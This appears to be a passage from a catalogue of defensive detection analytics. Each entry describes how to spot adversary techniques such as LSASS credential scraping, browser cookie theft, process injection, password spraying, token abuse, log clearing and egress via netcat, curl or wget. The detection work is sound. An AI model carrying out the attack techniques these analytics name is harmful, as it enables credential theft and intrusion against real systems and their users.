Detects suspicious registration of new password filter DLLs into the authentication process. Correlates registry modifications to LSASS Notification Packages with subsequent DLL creation and loading events. Observes anomalous file placement of DLLs in system directories followed by LSASS loading the new filter during logon/password change activity.


[AN1304] Analytic 1304

Current version: 1.0

Description:

Correlate the creation or modification of containers using restart policies (e.g., 'always') or DaemonSets with elevated host access, service account misuse, or privileged container contexts. Watch for manipulation of systemd units involving containers or pod scheduling targeting specific nodes or namespaces.


[AN1305] Analytic 1305

Current version: 1.0

Description:

Windows-specific environmental keying behavioral chain: (1) Rapid system information discovery through multiple techniques (WMI queries, registry enumeration, network share discovery, hostname/domain checks), (2) Target validation through specific environmental artifact collection (AD domain membership, network topology, installed software versions), (3) Cryptographic operation correlation indicating payload decryption based on collected environmental values, (4) Subsequent malicious code execution following successful environmental validation, (5) Temporal clustering of discovery activities suggesting automated environmental assessment


[AN1306] Analytic 1306

Current version: 1.0

Description:

Linux environmental keying behavioral chain: (1) System information gathering through native commands (uname, hostname, id, whoami, ifconfig/ip) and file system enumeration, (2) Network configuration discovery (route tables, DNS settings, network interfaces), (3) Filesystem and mount point analysis for target-specific directories or devices, (4) Process and service enumeration to identify target-specific software, (5) Cryptographic library usage correlation with collected environmental data, (6) Payload execution following successful environmental validation


[AN1307] Analytic 1307

Current version: 1.0

Description:

macOS environmental keying behavioral chain: (1) System information discovery through native utilities (system_profiler, sw_vers, hostname, dscl) and Security framework queries, (2) Hardware and software enumeration including serial numbers, installed applications, and system versions, (3) Network configuration assessment (networksetup, scutil) and wireless network discovery, (4) Keychain and security context validation, (5) Unified Logs correlation with cryptographic framework usage (CommonCrypto, Security.framework), (6) Application bundle execution following environmental validation


[AN1308] Analytic 1308

Current version: 1.0

Description:

Detects rundll32.exe invoked with atypical arguments (.dll, .cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching .sct or .hta).


[AN1309] Analytic 1309

Current version: 1.0

Description:

Correlates creation of email forwarding rules or header anomalies (e.g., X-MS-Exchange-Organization-AutoForwarded) with suspicious process execution, file access of .pst/.ost files, and network connections to external SMTP servers.


[AN1310] Analytic 1310

Current version: 1.0

Description:

Detects file access to mbox/maildir files in conjunction with curl/wget/postfix execution, or anomalous shell scripts harvesting user mail directories.


[AN1311] Analytic 1311

Current version: 1.0

Description:

Monitors Mail.app database or maildir file access, automation via AppleScript, and abnormal mail rule creation using scripting or UI automation frameworks.


[AN1312] Analytic 1312

Current version: 1.0

Description:

Correlates unusual auto-forwarding rule creation via Exchange Web Services or Outlook rules engine, presence of X-MS-Exchange-Organization-AutoForwarded headers, and logon session anomalies from abnormal IPs.


[AN1313] Analytic 1313

Current version: 1.0

Description:

Adversaries using WinRM to remotely execute commands, launch child processes, or access WMI. The detection chain includes service use, network activity, remote session logon, and process creation within a short temporal window.


[AN1314] Analytic 1314

Current version: 1.0

Description:

Cause→effect chain: (1) User-facing app (Office/PDF/archiver/browser) records an open/click or abnormal event, then (2) a downloaded file is created in a user-writable path and/or decompressed, (3) the parent user app spawns a living-off-the-land binary (e.g., powershell/cmd/mshta/rundll32/msiexec/wscript/expand/zip) or installer, and (4) immediate outbound HTTP(S)/DNS/SMB from the same lineage.


[AN1315] Analytic 1315

Current version: 1.0

Description:

Cause→effect chain: (1) User app/browser/archiver logs an open/click or abnormal exit, (2) new executable/script/archive extracted into $HOME/Downloads, /tmp, or ~/.cache, (3) parent app spawns shell/interpreter (bash/sh/python/node/curl/wget) or desktop file, and (4) new outbound connection(s) from the child lineage.


[AN1316] Analytic 1316

Current version: 1.0

Description:

Cause→effect chain: (1) unified logs show application open/click or crash for Safari/Chrome/Office/Preview/archiver, (2) file write/extraction into ~/Downloads, /private/var/folders/* or ~/Library, (3) parent app spawns osascript/bash/zsh/curl/python or opens a quarantined app with Gatekeeper prompts, (4) network egress from child.


[AN1317] Analytic 1317

Current version: 1.0

Description:

Cause→effect chain in CI/dev desktops: (1) user triggers container run/pull after opening a doc/link/script, (2) newly created image/container uses unexpected external registry or entrypoint, (3) container starts and immediately egresses to suspicious destinations.


[AN1318] Analytic 1318

Current version: 1.0

Description:

Cause→effect chain in cloud consoles: (1) user clicks link then invokes instance/image creation via API, (2) instance/image originates from external AMI or unknown image, (3) instance immediately egresses or retrieves payloads.


[AN1319] Analytic 1319

Current version: 1.0

Description:

Modification of COR_PROFILER-related environment variables or Registry keys (COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH), combined with anomalous .NET process creation or unmanaged DLL loads. Defender observes registry modifications, suspicious process creation with altered environment variables, and profiler DLLs loaded unexpectedly into .NET CLR processes.


[AN1320] Analytic 1320

Current version: 1.0

Description:

Detects unauthorized modifications to login-facing web server files (e.g., index.php, login.js) typically tied to VPN, SSO, or intranet portals. Correlates suspicious file changes with remote access artifacts or web shell behavior.


[AN1321] Analytic 1321

Current version: 1.0

Description:

Detects tampering of IIS-based login pages (e.g., default.aspx, login.aspx) tied to VPN, OWA, or SharePoint via script injection or unexpected editor processes modifying web roots.


[AN1322] Analytic 1322

Current version: 1.0

Description:

Detects unauthorized changes to locally hosted login pages on macOS (common in developer VPN environments) and links file edits to cron jobs, background scripts, or SUID binaries.


[AN1323] Analytic 1323

Current version: 1.0

Description:

Correlate suspicious registry modifications to known COM object CLSIDs with subsequent DLL loads or unexpected binary execution paths. Detect placement of COM CLSID entries under HKEY_CURRENT_USER\Software\Classes\CLSID\ overriding default HKLM paths. Flag anomalous DLL loads traced back to hijacked COM registry changes.


[AN1324] Analytic 1324

Current version: 1.0

Description:

Detection of token duplication and impersonation attempts by correlating suspicious command-line executions (e.g., runas) with API calls to DuplicateToken, DuplicateTokenEx, ImpersonateLoggedOnUser, or SetThreadToken. The chain includes the initial command execution or in-memory API invocation → token handle duplication or thread token assignment → a new or existing process assuming the impersonated user's context.


[AN1325] Analytic 1325

Current version: 1.0

Description:

Enumeration of services via native CLI tools (e.g., sc query, tasklist /svc, net start) or API calls via PowerShell and WMI.


[AN1326] Analytic 1326

Current version: 1.0

Description:

Execution of service management commands like systemctl list-units, service --status-all, or direct reading of /etc/init.d.


[AN1327] Analytic 1327

Current version: 1.0

Description:

Discovery via launchctl commands, or process enumeration using ps aux | grep com.apple. to identify daemons and services.


[AN1328] Analytic 1328

Current version: 1.0

Description:

Spike in object access from new IAM user or role followed by data exfiltration to external IPs


[AN1329] Analytic 1329

Current version: 1.0

Description:

OAuth token granted to external app followed by download of high-volume files in OneDrive/Google Drive


[AN1330] Analytic 1330

Current version: 1.0

Description:

Internal user account accesses shared links outside org followed by mass file download


[AN1331] Analytic 1331

Current version: 1.0

Description:

Identify repeated DNS resolutions where the same domain name returns multiple IPs in short succession, combined with low TTL values and high query volume from unusual processes. Correlate with process lineage (e.g., Office apps spawning abnormal DNS lookups).


[AN1332] Analytic 1332

Current version: 1.0

Description:

Monitor resolver logs and auditd events for domains resolving to a rotating set of IPs within very short TTL intervals. Correlate high query rates from non-browser applications (e.g., python, curl).


[AN1333] Analytic 1333

Current version: 1.0

Description:

Use unified logs to identify processes issuing repeated DNS queries where the resolved IP addresses change frequently within very short TTL values. Correlate with outbound network traffic to validate C2-like patterns.


[AN1334] Analytic 1334

Current version: 1.0

Description:

Monitor ESXi syslog and esxcli outputs for abnormal DNS resolver behavior, such as frequent domain-to-IP changes or unauthorized modifications of DNS settings used by management agents. Correlate domain lookups with short TTL values.


[AN1335] Analytic 1335

Current version: 1.0

Description:

Identifies abuse of odbcconf.exe to execute malicious DLLs using the REGSVR command flag. Behavior chain: (1) Process creation of odbcconf.exe with /REGSVR or /A {REGSVR ...} arguments → (2) DLL load by odbcconf.exe of non-standard or unsigned modules → (3) Optional follow-on process creation or network activity from loaded DLL.


[AN1336] Analytic 1336

Current version: 1.0

Description:

A high volume of authentication failures using a single password (or small set) across many different user accounts within a defined time window


[AN1337] Analytic 1337

Current version: 1.0

Description:

Authentication failures across different accounts using a repeated or similar password via SSH or PAM stack within a short window


[AN1338] Analytic 1338

Current version: 1.0

Description:

Multiple failed login attempts across different users using common password patterns (e.g., 'Welcome2023')


[AN1339] Analytic 1339

Current version: 1.0

Description:

Sign-in failures across enterprise SSO applications or SaaS platforms from same IP address using the same password against multiple user identities


[AN1340] Analytic 1340

Current version: 1.0

Description:

Authentication failure logs on routers/switches showing repeated use of default or common passwords across multiple accounts


[AN1341] Analytic 1341

Current version: 1.0

Description:

Repeated failed authentication attempts to container APIs, control planes, or login shells across many user names using same password


[AN1342] Analytic 1342

Current version: 1.0

Description:

Failed authentication attempts across user mailboxes using identical or common passwords (e.g., OWA brute attempts)


[AN1343] Analytic 1343

Current version: 1.0

Description:

SaaS applications receiving authentication failures for dozens of accounts using same password or login signature


[AN1344] Analytic 1344

Current version: 1.0

Description:

Behavioral chain: (1) a login from a third-party account or untrusted source network establishes an interactive/remote session; (2) the session acquires elevated privileges or accesses sensitive resources atypical for that account; (3) subsequent lateral movement or data access occurs from the same session/device. Correlate Windows logon events, token elevation/privileged use, and resource access with third-party context.


[AN1345] Analytic 1345

Current version: 1.0

Description:

Behavioral chain: (1) sshd or federated SSO logins from third-party networks or identities; (2) rapid sudo/su privilege elevation; (3) access to sensitive paths or east-west SSH. Correlate auth logs, process execution, and network flows.


[AN1346] Analytic 1346

Current version: 1.0

Description:

Behavioral chain: (1) third-party interactive login or mobileconfig-based device enrollment; (2) privilege use or admin group change; (3) lateral movement mounts/ssh. Correlate unified logs and network telemetry.


[AN1347] Analytic 1347

Current version: 1.0

Description:

Behavioral chain: (1) delegated admin or external identity establishes session (e.g., partner/reseller DAP, B2B guest, SAML/OAuth trust); (2) role elevation or app consent/permission grant; (3) downstream privileged actions in the tenant. Correlate IdP sign-in, admin/role assignment, and consent/admin-on-behalf events.


[AN1348] Analytic 1348

Current version: 1.0

Description:

Behavioral chain: (1) cross-account or third-party principal assumes a role into the tenant/subscription/project; (2) privileged API calls are made in short succession; (3) access originates from unfamiliar networks or geos. Correlate assume-role/federation events with sensitive API usage.


[AN1349] Analytic 1349

Current version: 1.0

Description:

Behavioral chain: (1) third-party app or admin connects via OAuth/marketplace install; (2) high-privilege scopes granted; (3) anomalous actions (mass read/exports, admin changes).


[AN1350] Analytic 1350

Current version: 1.0

Description:

Behavioral chain: (1) delegated administration offers/relationships created or modified by partner tenants; (2) mailbox delegation/impersonation enabled; (3) follow-on access from partner IPs.


[AN1351] Analytic 1351

Current version: 1.0

Description:

A process explicitly forges its parent using EXTENDED_STARTUPINFO + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (UpdateProcThreadAttribute → CreateProcess[A/W]/CreateProcessAsUserW) or other Native API paths, resulting in mismatched/implausible lineage across ETW EventHeader ProcessId, Security 4688 Creator Process ID/Name, and sysmon ParentProcessGuid. Often paired with privilege escalation when the chosen parent runs as SYSTEM.


[AN1352] Analytic 1352

Current version: 1.0

Description:

Detection of adversary attempts to enumerate containers, pods, nodes, and related resources within containerized environments. Defenders may observe anomalous API calls to Docker or Kubernetes (e.g., 'docker ps', 'kubectl get pods', 'kubectl get nodes'), unusual account activity against the Kubernetes dashboard, or unexpected queries against container metadata endpoints. These events should be correlated with user context and network activity to reveal resource discovery attempts.


[AN1353] Analytic 1353

Current version: 1.0

Description:

Suspicious enumeration of attached peripherals via WMI, PowerShell, or low-level API calls potentially chained with removable device interactions.


[AN1354] Analytic 1354

Current version: 1.0

Description:

Enumeration of USB and other peripheral hardware via udevadm, lshw, or /sys or /proc interfaces in proximity to collection or mounting behavior.


[AN1355] Analytic 1355

Current version: 1.0

Description:

Execution of system utilities like 'system_profiler' and 'ioreg' to enumerate hardware components or USB devices, particularly if followed by clipboard, file, or network activity.


[AN1356] Analytic 1356

Current version: 1.0

Description:

Defenders should monitor for anomalous or unauthorized changes to cloud compute configurations that alter quotas, tenant-wide policies, subscription associations, or allowed deployment regions. From a defender’s perspective, suspicious behavior chains include a sudden increase in compute quota requests followed by new instance or resource creation, policy modifications that weaken security restrictions, or enabling previously unused/unsupported cloud regions. Correlation across identity, configuration, and subsequent provisioning logs is critical to distinguish legitimate administrative activity from adversarial abuse.


[AN1357] Analytic 1357

Current version: 1.0

Description:

Detects anomalous use of COM, DDE, or named pipes for execution. Correlates creation or access of IPC mechanisms (e.g., named pipes, COM objects) with unusual parent-child process relationships or code injection patterns (e.g., Office spawning cmd.exe via DDE).


[AN1358] Analytic 1358

Current version: 1.0

Description:

Detects abuse of UNIX domain sockets, pipes, or message queues for unauthorized code execution. Correlates unexpected socket creation with suspicious binaries, abnormal shell pipelines, or injected processes establishing IPC channels.


[AN1359] Analytic 1359

Current version: 1.0

Description:

Detects anomalous use of Mach ports, Apple Events, or XPC services for inter-process execution or code injection. Focuses on unexpected processes attempting to send privileged Apple Events (e.g., automation scripts injecting into security-sensitive apps).


[AN1360] Analytic 1360

Current version: 1.0

Description:

Defenders may observe attempts to disable dedicated crypto hardware on network devices, often visible through anomalous CLI commands, unexpected firmware or configuration updates, and degraded encryption performance. Suspicious indicators include commands that alter hardware acceleration settings (e.g., disabling AES-NI or crypto engines), modification of system image files, or logs showing fallback from hardware to software encryption. Network traffic analysis may also reveal a sudden downgrade in throughput or cipher negotiation behavior consistent with the absence of hardware acceleration.


[AN1361] Analytic 1361

Current version: 1.0

Description:

Monitor for anomalous access to financial applications, browser-based banking sessions, or enterprise ERP systems from Windows endpoints. Detect mass emailing of payment instructions, sudden rule changes in Outlook for financial staff, or use of clipboard data exfiltration tied to cryptocurrency wallet addresses.


[AN1362] Analytic 1362

Current version: 1.0

Description:

Monitor server and endpoint logs for unusual outbound network connections to cryptocurrency nodes, unauthorized scripts accessing financial systems, or automation targeting payment file formats. Detect curl/wget activity aimed at exfiltrating transaction data or credentials from financial apps.


[AN1363] Analytic 1363

Current version: 1.0

Description:

Monitor unified logs for access to payment applications, browser plug-ins, or Apple Pay services from non-standard processes. Detect anomalous use of Automator scripts or keychain extraction targeting financial account credentials.


[AN1364] Analytic 1364

Current version: 1.0

Description:

Monitor SaaS financial systems (e.g., QuickBooks, Workday, SAP S/4HANA cloud) for unauthorized access, rule changes, or mass export of financial data. Detect anomalous transfers initiated via SaaS APIs or new MFA-disabled logins targeting finance apps.


[AN1365] Analytic 1365

Current version: 1.0

Description:

Monitor email and document management systems for fraudulent invoices, impersonation of vendors, or BEC-style payment redirections. Detect abnormal editing of invoice templates, or emails containing known fraud language combined with attachment delivery.


[AN1366] Analytic 1366

Current version: 1.0

Description:

Chain of remote access tool behavior: (1) initial execution of remote-control/assist agent or GUI under user context; (2) persistence via service or autorun; (3) long-lived outbound connection/tunnel to external infrastructure; (4) interactive control signals such as shell or file-manager child processes spawned by the RAT parent.


[AN1367] Analytic 1367

Current version: 1.0

Description:

Sequence of RAT agent execution, systemd persistence, and long-lived external egress; optional interactive shells spawned from the agent.


[AN1368] Analytic 1368

Current version: 1.0

Description:

Electron/GUI or headless RAT execution followed by LaunchAgent/Daemon persistence and persistent external connections; interactive children (osascript/sh/curl) spawned by parent.


[AN1369] Analytic 1369

Current version: 1.0

Description:

Detection of adversary behavior that disables or modifies security tools, including killing AV/EDR processes, stopping services, altering Sysmon registry keys, or tampering with exclusion lists. Defenders observe process/service termination, registry modification, and abnormal absence of expected telemetry.


[AN1370] Analytic 1370

Current version: 1.0

Description:

Detection of adversaries attempting to stop or disable host-based security agents by killing daemons, unloading kernel modules, or modifying init/systemd service configurations.


[AN1371] Analytic 1371

Current version: 1.0

Description:

Detection of adversary disabling endpoint security tools by unloading launch agents/daemons, modifying configuration profiles, or using security/uninstall commands to remove agents.


[AN1372] Analytic 1372

Current version: 1.0

Description:

Detection of adversaries disabling cloud monitoring and logging agents such as CloudWatch, Google Cloud Monitoring, or Azure Monitor by API calls or agent process termination.


[AN1373] Analytic 1373

Current version: 1.0

Description:

Detection of adversaries tampering with container runtime security plugins, disabling admission controllers, or stopping monitoring sidecars.


[AN1374] Analytic 1374

Current version: 1.0

Description:

Detection of adversaries modifying startup configuration files to disable signature verification, logging, or monitoring features.


[AN1375] Analytic 1375

Current version: 1.0

Description:

A process creates a brand‑new logon session/token (LogonUser/LsaLogonUser) and then assigns/impersonates it (SetThreadToken/ImpersonateLoggedOnUser) to run actions under that freshly created security context. Chain: (1) suspicious command or script block (e.g., runas /netonly, PowerShell P/Invoke of LogonUser) → (2) ETW/API evidence of LogonUser/SetThreadToken → (3) Security 4624 New Logon (often LogonType=9 NewCredentials or 2/3 from a non‑interactive parent) with no interactive desktop → (4) sysmon 1 process(es) executing with the new LogonId/SID different from the parent process → (5) optional privileged ops/lateral movement.


[AN1376] Analytic 1376

Current version: 1.0

Description:

Establishing network connections on uncommon ports or protocols following C2 disruption or blocking. Often executed by processes that typically exhibit no network activity.


[AN1377] Analytic 1377

Current version: 1.0

Description:

Creation of outbound connections on alternate ports or using covert transport (e.g., ICMP, DNS) from non-network-intensive processes, following known disruption or blocked traffic.


[AN1378] Analytic 1378

Current version: 1.0

Description:

Outbound fallback traffic from low-profile or background launch agents using unusual protocols or destinations after primary channel inactivity.


[AN1379] Analytic 1379

Current version: 1.0

Description:

Outbound traffic from host management services or guest-to-host interactions over unusual interfaces (e.g., backdoor API endpoints or external VPN tunnels).


[AN1380] Analytic 1380

Current version: 1.0

Description:

Privileged or rarely used accounts performing bulk access to SharePoint files or metadata over a short time window, indicating potential scripted collection of sensitive internal documents.


[AN1381] Analytic 1381

Current version: 1.0

Description:

Detects compilation activity using csc.exe, ilasm.exe, or msbuild.exe initiated by user-space processes outside typical development environments, followed by execution or network activity from newly written binaries.


[AN1382] Analytic 1382

Current version: 1.0

Description:

Detects GCC or Clang invoked on suspicious file paths (e.g., /tmp/, ~/Downloads) with output to executable binaries, followed by execution or outbound traffic from these binaries.


[AN1383] Analytic 1383

Current version: 1.0

Description:

Detects non-standard compilation activity via Xcode CLI tools or bundled GCC/MONO packages writing new executable files and executing them outside dev environments (e.g., user Downloads folder).


[AN1384] Analytic 1384

Current version: 1.0

Description:

Abuse of file/registry attributes to hide malicious files, directories, or services. Defender view: detection of attrib.exe setting hidden/system flags, creation of Alternate Data Streams, or registry keys altering file visibility.


[AN1385] Analytic 1385

Current version: 1.0

Description:

Hidden file creation using leading '.' or file attribute changes with chattr (immutable/hidden flags). Defender view: detect execution of chattr, lsattr anomalies, and unusual hidden files appearing in system directories.


[AN1386] Analytic 1386

Current version: 1.0

Description:

Hidden files via 'chflags hidden' or Apple-specific attributes, LaunchAgents/LaunchDaemons placed in non-standard hidden directories. Defender view: detect command execution modifying file flags and unusual plist creation in hidden paths.


[AN1387] Analytic 1387

Current version: 1.0

Description:

Abuse of VMFS or ESXi shell to hide datastore files, renaming/moving VMDK or VMX files into hidden directories. Defender view: anomalous ESXi shell commands or file operations obscuring VM artifacts.


[AN1388] Analytic 1388

Current version: 1.0

Description:

Malicious macros or embedded objects hidden within Office documents by renaming streams or using hidden OLE objects. Defender view: detection of hidden macro streams or objects in documents correlated with anomalous execution.


[AN1389] Analytic 1389

Current version: 1.0

Description:

Detects the execution of non-browser processes establishing outbound encrypted network connections using uncommon symmetric encryption protocols (e.g., AES via PowerShell or custom scripts) to alternate external destinations.


[AN1390] Analytic 1390

Current version: 1.0

Description:

Detects command-line utilities or scripts using encryption libraries or symmetric algorithms (e.g., OpenSSL AES, GPG, Python + PyCrypto) in conjunction with outbound file transfers or traffic to external destinations.


[AN1391] Analytic 1391

Current version: 1.0

Description:

Detects symmetric key-based encryption operations (e.g., AES via Python, AppleScript, or OpenSSL) followed by unusual outbound connections from non-browser applications or scripted tools.


[AN1392] Analytic 1392

Current version: 1.0

Description:

Detects unexpected encrypted egress traffic from management services (e.g., hostd) or guest VMs utilizing symmetric encryption without traditional protocols (e.g., FTP with embedded AES ciphertext).


[AN1393] Analytic 1393

Current version: 1.0

Description:

Detects anomalous use of Dynamic Data Exchange (DDE) for code execution, such as Office applications (WINWORD.EXE, EXCEL.EXE) spawning command interpreters, or loading unusual modules through DDEAUTO/DDE formulas. Correlates suspicious parent-child process relationships, registry keys enabling DDE, and module loads inconsistent with normal Office usage.


[AN1394] Analytic 1394

Current version: 1.0

Description:

Detection of command-line activity exhibiting syntactic obfuscation patterns, such as excessive escape characters, base64 encoding, command concatenation, or outlier command length and entropy.


[AN1395] Analytic 1395

Current version: 1.0

Description:

Detection of shell commands that leverage encoded execution, command chaining, excessive piping, or unusual token patterns indicative of obfuscation.


[AN1396] Analytic 1396

Current version: 1.0

Description:

Detection of obfuscated commands via shell, osascript, or AppleScript interpreters using unusual tokens, encoding, variable substitution, or runtime string reconstruction.


[AN1397] Analytic 1397

Current version: 1.0

Description:

Detection of mshta.exe execution where command-line arguments reference remote or local HTA/script content (VBScript/JScript) followed by subsequent file creation, network retrieval, or process spawning that indicates payload execution outside standard Internet Explorer security context. Correlation includes parent process lineage, command-line inspection, and network connection creation to untrusted or anomalous endpoints.


[AN1398] Analytic 1398

Current version: 1.0

Description:

Adversary gains high integrity or special privileges (e.g., SeDebugPrivilege), locates a running browser process, opens it with write/inject rights, and modifies it (e.g., CreateRemoteThread / DLL load) to inherit cookies/tokens or establish a browser pivot. Optional step: create a new logon session or use explicit credentials, then drive the victim browser to intranet resources.


[AN1399] Analytic 1399

Current version: 1.0

Description:

Detects process injection by correlating memory manipulation API calls (e.g., VirtualAllocEx, WriteProcessMemory), suspicious thread creation (e.g., CreateRemoteThread), and unusual DLL loads within another process's context.


[AN1400] Analytic 1400

Current version: 1.0

Description:

Detects ptrace- or memfd-based process injection through audit logs capturing system calls (e.g., ptrace, mmap) targeting running processes along with suspicious file descriptors or memory writes.


[AN1401] Analytic 1401

Current version: 1.0

Description:

Detects memory-based injection by monitoring task_for_pid, mach_vm_write, and dylib injection patterns through DYLD_INSERT_LIBRARIES or manual memory mapping.


[AN1402] Analytic 1402

Current version: 1.0

Description:

Detects suspicious access to browser session cookie storage (e.g., Chrome’s Cookies SQLite DB) or memory reads of browser processes. Anomalous injection or memory dump utilities targeting browser processes such as chrome.exe, firefox.exe, or msedge.exe.


[AN1403] Analytic 1403

Current version: 1.0

Description:

Detects access to known browser cookie files (e.g., ~/.mozilla/firefox/*.default/cookies.sqlite, ~/.config/google-chrome/) and suspicious reads of browser memory via /proc/[pid]/mem or ptrace.


[AN1404] Analytic 1404

Current version: 1.0

Description:

Detects unauthorized access to browser cookie paths (e.g., ~/Library/Application Support/Google/Chrome/Default/Cookies) or task_for_pid/vm_read calls to Safari/Chrome memory space.


[AN1405] Analytic 1405

Current version: 1.0

Description:

Detects automation macros or VBA scripts in documents that access browser file paths, read cookie data, or attempt to exfiltrate browser session tokens over HTTP.


[AN1406] Analytic 1406

Current version: 1.0

Description:

Detects use of session cookies or authentication tokens from unusual user agents or locations. Identifies token reuse without reauthentication or attempts to bypass MFA using previously stolen cookies.


[AN1407] Analytic 1407

Current version: 1.0

Description:

Detects suspicious SVG file creation or download events followed by script engine execution (e.g., wscript.exe, mshta.exe, rundll32.exe), network callbacks, or browser-based credential collection.


[AN1408] Analytic 1408

Current version: 1.0

Description:

Detects downloaded SVG files followed by execution of browser processes or tools like xdg-open, and rapid follow-on network connections or process spawns to interpreters like python or bash.


[AN1409] Analytic 1409

Current version: 1.0

Description:

Detects SVGs downloaded via browser that invoke AppleScript, osascript, or JavaScriptCore processes, followed by network egress or file drop to LaunchAgents or ~/Library.


[AN1410] Analytic 1410

Current version: 1.0

Description:

Adversary mounts a USB device and begins enumerating, copying, or compressing files using scripting engines, cmd, or remote access tools.


[AN1411] Analytic 1411

Current version: 1.0

Description:

Adversary mounts external drive to /media or /mnt then accesses or copies targeted data via shell, cp, or tar.


[AN1412] Analytic 1412

Current version: 1.0

Description:

Adversary attaches USB drive and accesses sensitive files using Finder, cp, or bash scripts.


[AN1413] Analytic 1413

Current version: 1.0

Description:

Detects non-browser processes that establish encrypted outbound connections (e.g., TLS/SSL) to unfamiliar or atypical destinations for the host/user, following a data staging or compression event.


[AN1414] Analytic 1414

Current version: 1.0

Description:

Detects staged file access (e.g., archive or obfuscation), followed by an encrypted outbound connection (TLS/HTTPS) from unusual processes such as curl/wget, Python scripts, or custom binaries.


[AN1415] Analytic 1415

Current version: 1.0

Description:

Detects abnormal encrypted network connections (via TLS/HTTPS) initiated by non-browser binaries, particularly after sensitive file access or compression events.


[AN1416] Analytic 1416

Current version: 1.0

Description:

Detects unexpected encrypted outbound connections from management components or guest VMs using TLS, particularly after data volume spikes or script-based orchestration from within guest environments.


[AN1417] Analytic 1417

Current version: 1.0

Description:

Detects adversary behavior accessing Windows cached domain credential files using tools like Mimikatz, reg.exe, or PowerShell, often combined with registry exports or LSASS memory scraping.


[AN1418] Analytic 1418

Current version: 1.0

Description:

Detects access to SSSD or Quest VAS cached credential databases using tdbdump or other file access patterns, requiring sudo/root access.


[AN1419] Analytic 1419

Current version: 1.0

Description:

Detects exploitation attempts targeting vulnerable kernel drivers or OS components, often followed by unusual process or token behavior.


[AN1420] Analytic 1420

Current version: 1.0

Description:

Detects escalation via vulnerable setuid binaries or kernel modules, often chained with unusual access to /proc/kallsyms or /dev/kmem.


[AN1421] Analytic 1421

Current version: 1.0

Description:

Detects use of vulnerable kernel extensions or entitlements abused via setuid or AppleScript injection chains.


[AN1422] Analytic 1422

Current version: 1.0

Description:

Detects container breakout behavior via exploitation (e.g., DirtyPipe, CVE-2022-0847), followed by host OS interaction or escalated capability assignment.


[AN1423] Analytic 1423

Current version: 1.0

Description:

Access and retrieval of container service account tokens followed by unauthorized API requests using those tokens to interact with the Kubernetes API server or internal services.


[AN1424] Analytic 1424

Current version: 1.0

Description:

Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.


[AN1425] Analytic 1425

Current version: 1.0

Description:

Unusual OAuth app registration followed by user-granted OAuth tokens and subsequent high-privilege resource access via those tokens.


[AN1426] Analytic 1426

Current version: 1.0

Description:

Use of OAuth tokens by third-party apps to access user mail, calendar, or SharePoint resources where the token was granted recently or via spearphishing.


[AN1427] Analytic 1427

Current version: 1.0

Description:

Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace — especially from new IPs, apps, or excessive resource access.


[AN1428] Analytic 1428

Current version: 1.0

Description:

Detects the execution of scripting or command interpreters (e.g., powershell.exe, cmd.exe, wscript.exe) outside expected administrative time windows or from abnormal user contexts, often followed by encoded/obfuscated arguments or secondary execution events.


[AN1429] Analytic 1429

Current version: 1.0

Description:

Detects use of shell interpreters (e.g., bash, sh, python, perl) initiated by users or processes not normally executing them, especially when chaining suspicious utilities like netcat, curl, or ssh.


[AN1430] Analytic 1430

Current version: 1.0

Description:

Detects launch of command-line interpreters via Terminal, Automator, or hidden osascript, especially when parent process lineage deviates from user-initiated applications.


[AN1431] Analytic 1431

Current version: 1.0

Description:

Detects use of 'esxcli system' or direct interpreter commands (e.g., busybox shell) invoked from SSH or host terminal unexpectedly.


[AN1432] Analytic 1432

Current version: 1.0

Description:

Identifies CLI interpreter access (e.g., Cisco IOS, Juniper JUNOS) via enable mode or scripting-capable sessions used by uncommon accounts or from unknown IPs.


[AN1433] Analytic 1433

Current version: 1.0

Description:

Detection focuses on unauthorized manipulation of .NET AppDomainManager behavior. Defenders may observe suspicious creation of new AppDomains within trusted processes, anomalous loading of assemblies via non-standard configuration files, or registry/environment variable changes redirecting AppDomainManager to malicious assemblies. Correlated events include config file tampering, new process creation of .NET host processes (e.g., w3wp.exe, powershell.exe) with modified runtime parameters, and module loads of unusual or unsigned .NET DLLs.


[AN1434] Analytic 1434

Current version: 1.0

Description:

Executable or script generating large outbound network traffic targeting remote hosts or known amplification ports


[AN1435] Analytic 1435

Current version: 1.0

Description:

Flooding tools like hping3 or nping sending large volumes of packets across multiple ports or IPs


[AN1436] Analytic 1436

Current version: 1.0

Description:

Adversaries inject VBA macros into Office templates such as Normal.dotm or Personal.xlsb or redirect Office template load path via registry key (GlobalDotName) to gain persistence. Template macros trigger execution of malicious code on application startup.


[AN1437] Analytic 1437

Current version: 1.0

Description:

Malicious VBA macros embedded in base templates like Normal.dotm or Personal.xlsb are automatically loaded and executed at startup. Template path may be hijacked to load a remote or attacker-controlled template via GlobalDotName registry setting.


[AN1438] Analytic 1438

Current version: 1.0

Description:

Detects log-clearing behavior by correlating suspicious command execution targeting log files under /var/log/, anomalous deletions or truncations of system logs, and unusual child processes (e.g., shell pipelines or redirections).


[AN1439] Analytic 1439

Current version: 1.0

Description:

Detects adversary clearing log files on macOS by correlating calls to shell utilities (e.g., echo >, rm, truncate) targeting files in /var/log/ with unusual context (non-administrative users or abnormal process lineage).


[AN1440] Analytic 1440

Current version: 1.0

Description:

Detects suspicious use of PowerShell, .NET, or script interpreters to spawn processes that mimic UAC prompts, often with credential capture dialogue boxes invoked from non-standard parent processes.


[AN1441] Analytic 1441

Current version: 1.0

Description:

Detects GUI-based credential prompts invoked via zenity/kdialog/dialog or X11 APIs from non-user-facing scripts or background shell sessions, often with authentication-related text.


[AN1442] Analytic 1442

Current version: 1.0

Description:

Detects AppleScript or Objective-C usage to generate fake authentication windows (e.g., using display dialog or NSAlert) from user-launched or persistence-related processes.


[AN1443] Analytic 1443

Current version: 1.0

Description:

Detects anomalous Kerberos activity such as forged or stolen tickets by correlating malformed fields in logon events, RC4-encrypted TGTs, or TGS requests without corresponding TGT requests. Also detects suspicious processes accessing LSASS memory for ticket extraction.


[AN1444] Analytic 1444

Current version: 1.0

Description:

Detects suspicious access to SSSD secrets database and Kerberos key material indicating ticket theft or replay attempts. Correlates anomalous file access with unusual Kerberos service ticket requests.


[AN1445] Analytic 1445

Current version: 1.0

Description:

